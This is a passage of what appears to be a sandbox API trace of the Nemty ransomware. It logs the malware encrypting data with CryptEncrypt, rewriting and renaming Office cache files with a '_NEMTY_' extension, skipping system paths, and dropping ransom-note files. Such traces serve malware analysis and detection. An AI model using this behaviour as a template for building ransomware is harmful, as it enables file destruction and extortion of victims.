Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.578] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.578] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.579] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="h2LWDJ2ITYu8AmLwSLO3nrTK4TjYMQxDQagWtDMqJEdUtjLkyUif+Wks1j/1/OYi\r\nDFCLiJz8sjvnyxCMdj/76QF2fSzxZeBk9PqmLeMSD/qbB5+fpL+HC3HFh4Exzbf4\r\nUrk3Nov2n7+bEtbBHR+Q+fWnY4mFyaeAqqrrtEo6egAG5d8ZrZt4hykwEaX1j61K\r\np6RGdSg4D9FX/YZ/pEQ0TCq8Vs3e8iYClQGSki0dbpiKlAaKEZUnbR3Y4qhyT289\r\n/UyNOlzUAZAd9I2BsR/FdM4WqfP1yGH4nimeYSVSuPfL95QshfDRY4yDgL9QjRmk\r\nwiqM8Q4FH2O5F+WEd2fHLw==\r\n", pcchString=0x653ef9c) returned 1 [0047.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.579] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.579] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1800) returned 1 [0047.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x700) returned 0x4f9f4a0 [0047.579] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.579] ReadFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x700, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653f1e4*=0x700, lpOverlapped=0x0) returned 1 [0047.581] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.581] WriteFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653f1dc*=0x700, lpOverlapped=0x0) returned 1 [0047.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0047.581] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x708 [0047.581] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.581] CloseHandle (hObject=0x3c8) returned 1 [0047.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0047.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.582] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml._nemty_kgobjgd_")) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.583] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcffca3b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcffca3b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfff0510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.583] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.584] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcffca3b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcffca3b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfff0510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.584] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.585] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.585] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91618 [0047.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-002C-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-002C-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-002C-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-002C-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-002C-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-002C-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.586] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.588] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.588] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.589] CloseHandle (hObject=0x3c4) returned 1 [0047.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.590] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.591] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.591] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.591] CloseHandle (hObject=0x3c4) returned 1 [0047.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: 